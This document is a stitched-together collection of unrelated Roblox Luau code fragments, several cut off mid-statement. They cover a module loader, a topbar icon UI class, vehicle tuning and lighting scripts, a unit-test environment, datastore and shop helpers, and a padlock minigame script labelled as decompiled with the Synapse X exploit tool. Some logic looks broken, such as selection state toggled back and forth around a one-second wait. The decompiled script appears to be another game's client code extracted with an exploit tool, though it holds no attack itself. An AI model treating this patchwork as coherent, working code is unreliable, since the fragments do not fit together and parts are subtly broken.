Instance.new("Folder") folder.Name = assert(next(groupInfo.packageSet).fullName, "Bad package fullName") for scriptName, scriptInfo in pairs(groupInfo.packageScriptInfoMap) do assert(scriptInfo.name == scriptName, "Bad scriptInfo.name") if scriptInfo.replicationMode == replicationMode then if scriptInfo.instance == loader and loader.Parent == game:GetService("ReplicatedStorage") then -- Hack to prevent reparenting of loader in legacy mode local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName) link.Parent = folder else scriptInfo.instance.Name = scriptName scriptInfo.instance.Parent = folder end else if scriptInfo.instance == loader then local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName) link.Parent = folder else -- Turns out creating these links are a LOT faster than cloning a module script local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName) link.Parent = folder end end end -- Link all of the other dependencies for scriptName, scriptInfo in pairs(groupInfo.scriptInfoMap) do assert(scriptInfo.name == scriptName, "Bad scriptInfo.name") if not groupInfo.packageScriptInfoMap[scriptName] then if scriptInfo.instance == loader then local link = BounceTemplateUtils.create(scriptInfo.instance, scriptName) link.Parent = folder else -- Turns out creating these links are a LOT faster than cloning a module script local link = BounceTemplateUtils.createLink(scriptInfo.instance, scriptName) link.Parent = folder end end end folder.Parent = parent end return LoaderUtils
-- CORE UTILITY METHODS
function Icon:set(settingName, value, iconState, setAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) if type(iconState) == "string" then iconState = iconState:lower() end local previousValue = self:get(settingName, iconState) if iconState == "hovering" then -- Apply hovering state if valid settingDetail.hoveringValue = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..iconState] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue end self:_update(settingName) else -- Update the settings value local toggleState = iconState local settingType = settingDetail.type if settingType == "toggleable" then local valuesToSet = {} if toggleState == "deselected" or toggleState == "selected" then table.insert(valuesToSet, toggleState) else table.insert(valuesToSet, "deselected") table.insert(valuesToSet, "selected") toggleState = nil end for i, v in pairs(valuesToSet) do settingDetail.values[v] = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..v] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..v] = previousValue end end else settingDetail.value = value if type(setAdditional) == "string" then if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous"] = previousValue end settingDetail.additionalValues[setAdditional] = previousValue end end -- Check previous and new are not the same if previousValue == value then return self, "Value was already set" end -- Update appearances of associated instances local currentToggleState = self:getToggleState() if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1) local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0) self:_update(settingName, currentToggleState, tweenInfo) end end -- Call any methods present if settingDetail.callMethods then for _, callMethod in pairs(settingDetail.callMethods) do callMethod(self, value, iconState) end end -- Call any signals present if settingDetail.callSignals then for _, callSignal in pairs(settingDetail.callSignals) do callSignal:Fire() end end return self end function Icon:get(settingName, iconState, getAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local valueToReturn, additionalValueToReturn if typeof(iconState) == "string" then iconState = iconState:lower() end --if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then if (iconState == "hovering") and getAdditional == nil then valueToReturn = settingDetail.hoveringValue additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState] end local settingType = settingDetail.type if settingType == "toggleable" then local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState() if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState] end if valueToReturn == nil then valueToReturn = settingDetail.values[toggleState] end else if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional] end if valueToReturn == nil then valueToReturn = settingDetail.value end end return valueToReturn, additionalValueToReturn end function Icon:getHovering(settingName) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) return settingDetail.hoveringValue end function Icon:getToggleState(isSelected) isSelected = isSelected or self.isSelected return (isSelected and "selected") or "deselected" end function Icon:getIconState() if self.hovering then return "hovering" else return self:getToggleState() end end function Icon:_update(settingName, toggleState, customTweenInfo) --***** local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) toggleState = toggleState or self:getToggleState() local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState]) if self.hovering and settingDetail.hoveringValue then value = settingDetail.hoveringValue end if value == nil then return end local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15) local propertyName = settingDetail.propertyName local invalidPropertiesTypes = { ["string"] = true, ["NumberSequence"] = true, ["Text"] = true, ["EnumItem"] = true, ["ColorSequence"] = true, } local uniqueSetting = self._uniqueSettingsDictionary[settingName] local newValue = value if settingDetail.useForcedGroupValue then newValue = settingDetail.forcedGroupValue end if settingDetail.instanceNames then for _, instanceName in pairs(settingDetail.instanceNames) do local instance = self.instances[instanceName] local propertyType = typeof(instance[propertyName]) local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table" if uniqueSetting then uniqueSetting(settingName, instance, propertyName, newValue) elseif cannotTweenProperty then instance[propertyName] = value else tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play() end -- if settingName == "iconSize" and instance[propertyName] ~= newValue then self.updated:Fire() end -- end end end function Icon:_updateAll(iconState, customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames then self:_update(settingName, iconState, customTweenInfo) end end end function Icon:_updateHovering(customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then self:_update(settingName, nil, customTweenInfo) end end end function Icon:_updateStateOverlay(transparency, color) local stateOverlay = self.instances.iconOverlay stateOverlay.BackgroundTransparency = transparency or 1 stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1) end function Icon:setTheme(theme, updateAfterSettingAll) self._updateAfterSettingAll = updateAfterSettingAll for settingsType, settingsDetails in pairs(theme) do if settingsType == "toggleable" then for settingName, settingValue in pairs(settingsDetails.deselected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "both") end end for settingName, settingValue in pairs(settingsDetails.selected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "selected") end end else for settingName, settingValue in pairs(settingsDetails) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue) end end end end self._updateAfterSettingAll = nil if updateAfterSettingAll then self:_updateAll() end return self end function Icon:getInstance(instanceName) return self.instances[instanceName] end function Icon:setInstance(instanceName, instance) local originalInstance = self.instances[instanceName] self.instances[instanceName] = instance if originalInstance then originalInstance:Destroy() end return self end function Icon:getSettingDetail(targetSettingName) for _, settingsDetails in pairs(self._settings) do for settingName, settingDetail in pairs(settingsDetails) do if settingName == targetSettingName then return settingDetail end end end return false end function Icon:modifySetting(settingName, dictionary) local settingDetail = self:getSettingDetail(settingName) for key, value in pairs(dictionary) do settingDetail[key] = value end return self end function Icon:convertLabelToNumberSpinner(numberSpinner) -- This updates the number spinners appearance self:set("iconLabelSize", UDim2.new(1,0,1,0)) numberSpinner.Parent = self:getInstance("iconButton") -- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed local textLabel = {} setmetatable(textLabel, {__newindex = function(_, index, value) for _, label in pairs(numberSpinner.Frame:GetDescendants()) do if label:IsA("TextLabel") then label[index] = value end end end}) -- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel) local iconButton = self:getInstance("iconButton") iconButton.ZIndex = 0 self:setInstance("iconLabel", textLabel) self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above self:setInstance("iconLabelSpinner", numberSpinner.Frame) local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"} for _, settingName in pairs(settingsToConvert) do self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}}) end -- This applies all the values we just updated self:_updateAll() return self end function Icon:setEnabled(bool) self.enabled = bool self.instances.iconContainer.Visible = bool self.updated:Fire() return self end function Icon:setName(string) self.name = string self.instances.iconContainer.Name = string return self end function Icon:setProperty(propertyName, value) self[propertyName] = value return self end function Icon:_playClickSound() local clickSound = self.instances.clickSound if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then local clickSoundCopy = clickSound:Clone() clickSoundCopy.Parent = clickSound.Parent clickSoundCopy:Play() debris:AddItem(clickSoundCopy, clickSound.TimeLength) end end function Icon:select(byIcon) if self.locked then return self end self.isSelecting = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self.isSelected = true self:_updateAll() --***** self.isSelected = false self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.selected:Fire() self.toggled:Fire(self.isSelected) wait(1) self.isSelected = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self:_updateAll() return self end function Icon:deselect(byIcon) if self.locked then return self end self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self.isSelecting = false self:_updateAll() --***** self.isSelecting = true self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.deselected:Fire() self.toggled:Fire(self.isSelected) wait(1) self.isSelected = false self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self:_updateAll() --***** return self end function Icon:notify(clearNoticeEvent, noticeId) coroutine.wrap(function() if not clearNoticeEvent then clearNoticeEvent = self.deselected end if self._parentIcon then self._parentIcon:notify(clearNoticeEvent) end local notifComplete = Signal.new() local endEvent = self._endNotices:Connect(function() notifComplete:Fire() end) local customEvent = clearNoticeEvent:Connect(function() notifComplete:Fire() end) noticeId = noticeId or httpService:GenerateGUID(true) self.notices[noticeId] = { completeSignal = notifComplete, clearNoticeEvent = clearNoticeEvent, } self.totalNotices += 1 self:_updateNotice() self.notified:Fire(noticeId) notifComplete:Wait() endEvent:Disconnect() customEvent:Disconnect() notifComplete:Disconnect() self.totalNotices -= 1 self.notices[noticeId] = nil self:_updateNotice() end)() return self end function Icon:_updateNotice() local enabled = true if self.totalNotices < 1 then enabled = false end -- Deselect if not self.isSelected then if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then enabled = true end end -- Select if self.isSelected then if #self.dropdownIcons > 0 or #self.menuIcons > 0 then enabled = false end end local value = (enabled and 0) or 1 self:set("noticeImageTransparency", value) self:set("noticeTextTransparency", value) self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+" end function Icon:clearNotices() self._endNotices:Fire() return self end function Icon:disableStateOverlay(bool) if bool == nil then bool = true end local stateOverlay = self.instances.iconOverlay stateOverlay.Visible = not bool return self end
-- zipperipper's script
Bin = script.Parent function onButton1Down(mouse) mt = mouse.Target if mt.Locked == false then mt.BrickColor = BrickColor.Random(1,268) end end function onSelected(mouse) mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(function() onButton1Down(mouse) end) local Message = Instance.new("Hint") Message.Parent = Bin.Parent.Parent Message.Text = "Click on a brick to change it to a random color!" end function onDeS(mouse) script.Parent.Parent.Parent.Message:remove() end script.Parent.Deselected:connect(onDeS) Bin.Selected:connect(onSelected)
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 5.1 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.484 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.587 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.022 , --[[ 3 ]] 1.384 , --[[ 4 ]] 1 , --[[ 5 ]] 0.861 , } Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[ Represents a tree of tests that have been loaded but not necessarily executed yet. TestPlan objects are produced by TestPlanner. ]]
local TestEnum = require(script.Parent.TestEnum) local Expectation = require(script.Parent.Expectation) local function newEnvironment(currentNode, extraEnvironment) local env = {} if extraEnvironment then if type(extraEnvironment) ~= "table" then error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format( typeof(extraEnvironment)), 2) end for key, value in pairs(extraEnvironment) do env[key] = value end end local function addChild(phrase, callback, nodeType, nodeModifier) local node = currentNode:addChild(phrase, nodeType, nodeModifier) node.callback = callback if nodeType == TestEnum.NodeType.Describe then node:expand() end return node end function env.describeFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus) end function env.describeSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip) end function env.describe(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None) end function env.itFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus) end function env.itSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) end function env.itFIXME(phrase, callback) local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) warn("FIXME: broken test", node:getFullName()) end function env.it(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None) end -- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases local lifecyclePhaseId = 0 local lifecycleHooks = { [TestEnum.NodeType.BeforeAll] = "beforeAll", [TestEnum.NodeType.AfterAll] = "afterAll", [TestEnum.NodeType.BeforeEach] = "beforeEach", [TestEnum.NodeType.AfterEach] = "afterEach" } for nodeType, name in pairs(lifecycleHooks) do env[name] = function(callback) addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None) lifecyclePhaseId = lifecyclePhaseId + 1 end end function env.FIXME(optionalMessage) warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "") currentNode.modifier = TestEnum.NodeModifier.Skip end function env.FOCUS() currentNode.modifier = TestEnum.NodeModifier.Focus end function env.SKIP() currentNode.modifier = TestEnum.NodeModifier.Skip end --[[ This function is deprecated. Calling it is a no-op beyond generating a warning. ]] function env.HACK_NO_XPCALL() warn("HACK_NO_XPCALL is deprecated. It is now safe to yield in an " .. "xpcall, so this is no longer necessary. It can be safely deleted.") end env.fit = env.itFOCUS env.xit = env.itSKIP env.fdescribe = env.describeFOCUS env.xdescribe = env.describeSKIP env.expect = Expectation.new return env end local TestNode = {} TestNode.__index = TestNode
--[=[ Centralized service using serviceBag. This will let other packages work with a single player datastore service. @server @class PlayerDataStoreService ]=]
local require = require(script.Parent.loader).load(script) local PlayerDataStoreManager = require("PlayerDataStoreManager") local DataStorePromises = require("DataStorePromises") local Promise = require("Promise") local Maid = require("Maid") local PlayerDataStoreService = {}
--[[function MouseInput.OnClientInvoke() return game.Players.LocalPlayer:GetMouse().Hit.p end]]
----------------- --| Variables |-- -----------------
local InsertService = Game:GetService('InsertService') local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local Tool = script.Parent local ToolHandle = Tool.Handle local MyPlayer = PlayersService.LocalPlayer local SkeletonScript = WaitForChild(script, 'SkeletonScript') local Fire = WaitForChild(script, 'Fire') local SummonAnimation = WaitForChild(script, 'Summon') local GongSound = WaitForChild(ToolHandle, 'Gong') local MyModel = nil local Skeleton = nil local LastSummonTime = 0 local SummonTrack = nil
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 50 settings.KeyAesthetics = true settings.PianoSounds = { "269058581", "269058744", "269058842", "269058899", "269058974", "269059048" }
--[[ Returns the string associated with the current mode and viewing state of the MerchBooth. This function is called as the MerchBooth view opens up, allowing the PrimaryButton to reflect the appropriate status of ownership and equips. See related function `getButtonModeAsync`. ]]
local MerchBooth = script:FindFirstAncestor("MerchBooth") local enums = require(MerchBooth.enums) local separateThousands = require(script.Parent.separateThousands) local function getTextFromMode(mode, price: number?): string if mode == enums.PrimaryButtonModes.Loading then return "" elseif mode == enums.PrimaryButtonModes.Purchase and price then if price == 0 then return "FREE" elseif price < 0 then return "NOT FOR SALE" else return separateThousands(price) end elseif mode == enums.PrimaryButtonModes.Owned then return "Owned" elseif mode == enums.PrimaryButtonModes.CanEquip then return "Equip Item" elseif mode == enums.PrimaryButtonModes.Equipped then return "Item Equipped" end return "" end return getTextFromMode
--[[ for _,i in pairs(light) do i.BrickColor = offcolor i.Material = Enum.Material.material end --]]
InputService.InputBegan:connect(DealWithInput) InputService.InputChanged:connect(DealWithInput) InputService.InputEnded:connect(DealWithInput) function findbricks(search,query,tab) for _,i in pairs(search:GetChildren()) do if i.Name == query then table.insert(tab,i) end findbricks(i,query,tab) end end findbricks(seat.Parent,"Li",fli) findbricks(seat.Parent,"Ri",fri) findbricks(seat.Parent,"RLi",rli) findbricks(seat.Parent,"RRi",rri) findbricks(seat.Parent.Parent,"HLL",hll) findbricks(seat.Parent.Parent,"HLH",hlh) findbricks(seat.Parent,"BL",bl) findbricks(seat.Parent,"RRL",rrl) findbricks(seat.Parent,"RevL",rl) for _,i in pairs(fli) do i.BrickColor = indicatorOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(fri) do i.BrickColor = indicatorOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(rli) do i.BrickColor = indicatorOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(rri) do i.BrickColor = indicatorOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(hll) do i.BrickColor = headlightOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(hlh) do i.BrickColor = headlightOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(rrl) do i.BrickColor = rearrunOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(bl) do i.BrickColor = brakelightOff i.Material = Enum.Material.SmoothPlastic end for _,i in pairs(rl) do i.BrickColor = reverseOff i.Material = Enum.Material.SmoothPlastic end for _,a in pairs(sl) do for _,i in pairs(a) do i.Enabled = false end end script.Parent.Parent.StockUI.Right.TurnSignals.Left.ImageTransparency = 0.7 script.Parent.Parent.StockUI.Right.TurnSignals.Right.ImageTransparency = 0.7 script.Parent.Parent.StockUI.Right.WarningLights.LoBeam.ImageTransparency = 0.7 script.Parent.Parent.StockUI.Right.WarningLights.HiBeam.ImageTransparency = 0.7
--[[Weight and CG]]
Tune.Weight = 3500 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 10 , --[[Height]] 5.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = 1 -- Front Wheel Density Tune.RWheelDensity = 1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- The timespan that the anticheat will account for. Lower values -- means potential cheats will be stopped sooner, but also means -- lower tolerance for network jitter.
config.TimeSpan = 1 return config
-- Decompiled with the Synapse X Luau decompiler.
return function(p1) print("starting"); local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls(); local v3 = game["Run Service"]; local l__UserInputService__4 = game:GetService("UserInputService"); local l__TweenService__5 = game:GetService("TweenService"); local l__mouse__6 = l__LocalPlayer__1:GetMouse(); local l__MinigameBackout__7 = script:FindFirstAncestor("MainUI").MinigameBackout; p1.stopcam = true; p1.freemouse = true; p1.hideplayers = 2; local v8 = CFrame.new(0, 0, 0); local v9 = tick() + 1; local v10 = tick() + 1; local l__Padlock__11 = workspace:FindFirstChild("Padlock", true); local l__Selector__12 = l__Padlock__11:FindFirstChild("Selector", true); l__Padlock__11.ConfirmUI.Enabled = l__UserInputService__4.GamepadEnabled; l__Selector__12.Visible = l__UserInputService__4.GamepadEnabled; local l__WorldCFrame__13 = workspace:FindFirstChild("CamAttachPadlock", true).WorldCFrame; p1.camShaker:ShakeOnce(2, 0.5, 0.5, 8); local l__CFrame__1 = p1.cam.CFrame; local l__FieldOfView__2 = p1.cam.FieldOfView; local u3 = false; task.spawn(function() for v14 = 1, 100000 do task.wait(); local v15 = l__TweenService__5:GetValue((1 - math.abs(tick() - v9)) / 1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut); if not (tick() <= v9) then break; end; p1.cam.CFrame = l__CFrame__1:Lerp(l__WorldCFrame__13, v15) * p1.csgo; p1.cam.FieldOfView = l__FieldOfView__2 + (30 - l__FieldOfView__2) * v15; end; p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo; for v16 = 1, 10000000000000 do task.wait(); p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo; if u3 == true then break; end; end; end); local l__ActivateEventPrompt__17 = l__Padlock__11:FindFirstChild("ActivateEventPrompt"); l__ActivateEventPrompt__17.Enabled = false; local l__AnimationController__18 = l__Padlock__11.AnimationController; local v19 = {}; for v20, v21 in pairs(l__Padlock__11:FindFirstChild("Animations"):GetChildren()) do v19[v21.Name] = l__AnimationController__18:LoadAnimation(v21); end; v19.start:Play(0.1); v19.idle:Play(0.2); local v22 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }; local l__MinigameBackout__23 = script.Parent.Parent.Parent.Parent.MinigameBackout; l__MinigameBackout__23.Visible = true; l__TweenService__5:Create(l__MinigameBackout__23, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), { ImageColor3 = Color3.fromRGB(107, 129, 179), Size = UDim2.new(0.1, 60, 0.1, 60) }):Play(); local u4 = nil; local u5 = nil; local u6 = nil; local u7 = nil; local u8 = v10; local function u9(p2, p3) p2.NumberUI.TextLabel.Text = p3; for v24, v25 in pairs(p2:GetChildren()) do if v25:IsA("BasePart") and v25:FindFirstChild("NumberUI") then local v26 = 1; if v25.Name == "NumberTop" then v26 = 2; elseif v25.Name == "NumberBelow" then v26 = -1; elseif v25.Name == "NumberBottom" then v26 = -2; end; local v27 = (p3 + v26) % 10; if v27 == nil then warn("idk lol"); v27 = 0; end; v25.NumberUI.TextLabel.Text = v27; end; end; end; local function u10(p4, p5) if tick() < u8 then return; end; if p5 == nil then p5 = 1; end; local v28 = (tonumber(p4.NumberUI.TextLabel.Text) + p5) % 10; if v28 == nil then warn("idk lol"); v28 = 0; end; p4.Sound.Pitch = 1 + p5 / 10 + v28 / 30; p4.Sound:Play(); u9(p4, v28); local l__Weld__29 = p4.Weld; l__Weld__29.C0 = l__Weld__29.C0 * CFrame.Angles(math.rad(45 * p5), 0, 0); l__TweenService__5:Create(p4.Weld, TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { C0 = CFrame.new(0, 0, 0) }):Play(); end; local function u11() v19.input:Play(); u8 = tick() + 1; local v30 = ""; for v31 = 1, 5 do for v32, v33 in pairs(l__Padlock__11:GetDescendants()) do if v33.Name == "Number" and v33:IsA("BasePart") and v33:GetAttribute("ID") == v31 then v30 = v30 .. tostring(v33.NumberUI.TextLabel.Text); end; end; end; p1.remotes:WaitForChild("PL"):FireServer(v30); wait(0.3); for v34, v35 in pairs(l__Padlock__11:GetDescendants()) do if v35.Name == "Number" and v35:IsA("BasePart") then local l__Weld__36 = v35.Weld; l__Weld__36.C0 = l__Weld__36.C0 * CFrame.Angles(3.141592653589793, 0, 0); l__TweenService__5:Create(v35.Weld, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { C0 = CFrame.new(0, 0, 0) }):Play(); u9(v35, 0); end; end; end; local function u12() if u3 == false then pcall(function() u4:Disconnect(); u5:Disconnect(); u6:Disconnect(); u7:Disconnect(); end); u3 = true; p1.hideplayers = 0; l__MinigameBackout__23.Visible = false; v19["end"]:Play(); v19.idle:Stop(); l__Padlock__11.ConfirmUI.Enabled = false; l__Selector__12.Visible = false; local l__basecamcf__37 = p1.basecamcf; local v38 = tick() + 0.5; p1.camShaker:ShakeOnce(2, 0.5, 0.5, 1); local l__CFrame__13 = p1.cam.CFrame; local l__FieldOfView__14 = p1.cam.FieldOfView; task.spawn(function() for v39 = 1, 100000 do task.wait(); local v40 = l__TweenService__5:GetValue((0.5 - math.abs(tick() - v38)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut); if not (tick() <= v38) then break; end; p1.cam.CFrame = l__CFrame__13:Lerp(p1.basecamcf, v40) * p1.csgo; p1.cam.FieldOfView = l__FieldOfView__14 + (p1.fovspring - l__FieldOfView__14) * v40; end; p1.stopcam = false; p1.freemouse = false; l__ActivateEventPrompt__17.Enabled = l__Padlock__11.Padlocked.Value; end); end; end; local u15 = 1; u4 = l__UserInputService__4.InputBegan:Connect(function(p6) if p6.UserInputType == Enum.UserInputType.MouseButton1 or p6.UserInputType == Enum.UserInputType.Touch then local v41 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y); local v42, v43 = workspace:FindPartOnRay(Ray.new(v41.Origin, v41.Direction * 1000), p1.char); if v42.Name == "Number" then u10(v42); p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2); return; end; if v42.Name == "ConfirmButton" or v42.Name == "ConfirmUIHolder" then u11(); return; end; elseif p6.UserInputType == Enum.UserInputType.MouseButton2 then local v44 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y); local v45, v46 = workspace:FindPartOnRay(Ray.new(v44.Origin, v44.Direction * 1000), p1.char); if v45.Name == "Number" then u10(v45, -1); p1.camShaker:ShakeOnce(0.1, 2, 0.06, 0.2); return; end; if v45.Name == "ConfirmButton" then u11(); return; end; else if p6.KeyCode == Enum.KeyCode.ButtonA then u11(); return; end; if p6.KeyCode == Enum.KeyCode.ButtonB then u12(); return; end; if p6.KeyCode == Enum.KeyCode.ButtonX or p6.KeyCode == Enum.KeyCode.DPadUp then for v47, v48 in pairs(l__Padlock__11:GetDescendants()) do if v48.Name == "Number" and v48:IsA("BasePart") and v48:GetAttribute("ID") == u15 then u10(v48); end; end; return; end; if p6.KeyCode == Enum.KeyCode.DPadDown then for v49, v50 in pairs(l__Padlock__11:GetDescendants()) do if v50.Name == "Number" and v50:IsA("BasePart") and v50:GetAttribute("ID") == u15 then u10(v50, -1); end; end; return; end; if p6.KeyCode == Enum.KeyCode.DPadLeft or p6.KeyCode == Enum.KeyCode.DPadRight then if p6.KeyCode == Enum.KeyCode.DPadRight then u15 = math.clamp(u15 + 1, 1, 5); else u15 = math.clamp(u15 - 1, 1, 5); end; for v51, v52 in pairs(l__Padlock__11:GetDescendants()) do if v52.Name == "Number" and v52:IsA("BasePart") and v52:GetAttribute("ID") == u15 then l__Selector__12.Parent = v52.NumberUI.TextLabel; end; end; end; end; end); u5 = l__MinigameBackout__23.MouseButton1Down:Connect(u12); u6 = l__Padlock__11.Padlocked.Changed:connect(function() if l__Padlock__11.Padlocked.Value == false then u12(); end; end); u7 = l__LocalPlayer__1.Character.Humanoid.HealthChanged:Connect(function() if l__LocalPlayer__1.Character.Humanoid.Health < 0.1 then u12(); end; end); if l__Padlock__11.Padlocked.Value == false then u12(); end; spawn(function() local v53, v54, v55 = pairs(l__Padlock__11:GetDescendants()); while true do local v56, v57 = v53(v54, v55); if not v56 then break; end; if v57.Name == "Number" and v57:IsA("BasePart") then delay(v57:GetAttribute("ID") / 20, function() l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), { Color = Color3.fromRGB(159, 160, 221) }):Play(); end); end; if v57.Name == "ConfirmButton" and v57:IsA("BasePart") then delay(2, function() l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), { Color = Color3.fromRGB(139, 255, 158) }):Play(); end); end; end; end); if u3 == true then return; end; end;
-- ROBLOX deviation: using FileSystemService instead of fs
